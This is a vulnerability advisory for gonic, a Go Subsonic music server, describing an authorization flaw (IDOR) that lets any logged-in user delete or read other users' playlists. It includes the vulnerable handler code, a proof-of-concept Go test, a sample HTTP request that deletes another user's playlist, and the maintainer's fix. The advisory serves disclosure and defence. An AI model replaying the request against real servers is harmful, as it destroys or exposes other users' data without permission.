CVE-2026-49338: Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)
Summary In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can: 1. Delete any playlist owned by any other user (including admin) by passing its id. 2. Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its id.
Published Jun 26, 2026
Affected packages
go.senan.xyz/gonic
- Ecosystem
- Go
- Affected
- <= 0.20.1
- Fixed in
- 0.21.0
- Check
go list -m go.senan.xyz/gonic
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as *any* user (admin or not), an attacker can:
- Delete any playlist owned by any other user (including admin) by passing its
id. - Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its
id.
The Subsonic playlist id is base64url("<userID>/<filename>.m3u"). Because filenames are user-supplied or time-derived and the userID is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).
This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.
Status
This was originally disclosed to the maintainer by email and has been fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410` (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version v0.20.1 is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.
Vulnerable code (pre-fix, at v0.20.1 / commit 37090aa7)
Delete IDOR — server/ctrlsubsonic/handlers_playlist.go lines 177-187:
func (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {
params := r.Context().Value(CtxParams).(params.Params)
playlistID, err := params.GetFirstID("id", "playlistId")
if err != nil {
return spec.NewError(10, "please provide an `id` or `playlistId` parameter")
}
if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {
return spec.NewError(0, "delete playlist: %v", err)
}
return spec.NewResponse()
}The handler never loads the playlist to check playlist.UserID == user.ID. Compare to ServeUpdatePlaylist (same file, line 138) which *does* perform this check.
Read IDOR — server/ctrlsubsonic/handlers_playlist.go lines 51-68:
func (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {
params := r.Context().Value(CtxParams).(params.Params)
playlistID, err := params.GetFirstID("id", "playlistId")
if err != nil {
return spec.NewError(10, "please provide an `id` parameter")
}
playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))
if err != nil {
return spec.NewError(70, "playlist with id %s not found", playlistID)
}
// ... never checks playlist.UserID or playlist.IsPublic ...
sub.Playlist = rendered
return sub
}The listing endpoint ServeGetPlaylists (line 38) correctly filters by playlist.UserID != user.ID && !playlist.IsPublic, but the singular getPlaylist did not.
Live PoC (passing Go test)
A reproducer against the existing test fixture (server/ctrlsubsonic):
func TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {
f := newFixture(t)
victimRelPath := filepath.Join("1", "victim-private.m3u")
_ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{
UserID: f.admin.ID, Name: "victim-private", IsPublic: false,
Items: []string{"/music/foo.flac"},
})
victimID := playlistIDEncode(victimRelPath).String()
// f.alt is a non-admin, non-owner user
body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}})
// Subsonic returns status="ok" and the file is gone.
}Test output:
--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)
--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)
PASS
ok go.senan.xyz/gonic/server/ctrlsubsonic 0.730sEquivalent HTTP request
GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1Response: {"subsonic-response":{"status":"ok","version":"..."}} — playlist is gone.
Impact
- Integrity / Availability: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo.
- Confidentiality: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (
base64("<smallUserID>/<name>.m3u")) and previously-public IDs persist after being marked private. - Trust boundary: gonic supports multiple users (
createUser, non-admin role). This bug collapsed the user-to-user authorization model.
Affected versions
Latest tagged release v0.20.1 and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit 6dd71e6a3c966867ef8c900d359a7df75789f410.
Suggested patch (applied by maintainer in 6dd71e6)
Load the playlist first and enforce ownership in both handlers:
// ServeGetPlaylist
if playlist.UserID != user.ID && !playlist.IsPublic {
return spec.NewError(50, "you aren't allowed to read that user's playlist")
}
// ServeDeletePlaylist
if playlist.UserID != 0 && playlist.UserID != user.ID {
return spec.NewError(50, "you aren't allowed to delete that user's playlist")
}This mirrors the existing ownership check already present in ServeCreateOrUpdatePlaylist (line 84) and ServeUpdatePlaylist (line 138).
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Credited to therawdev.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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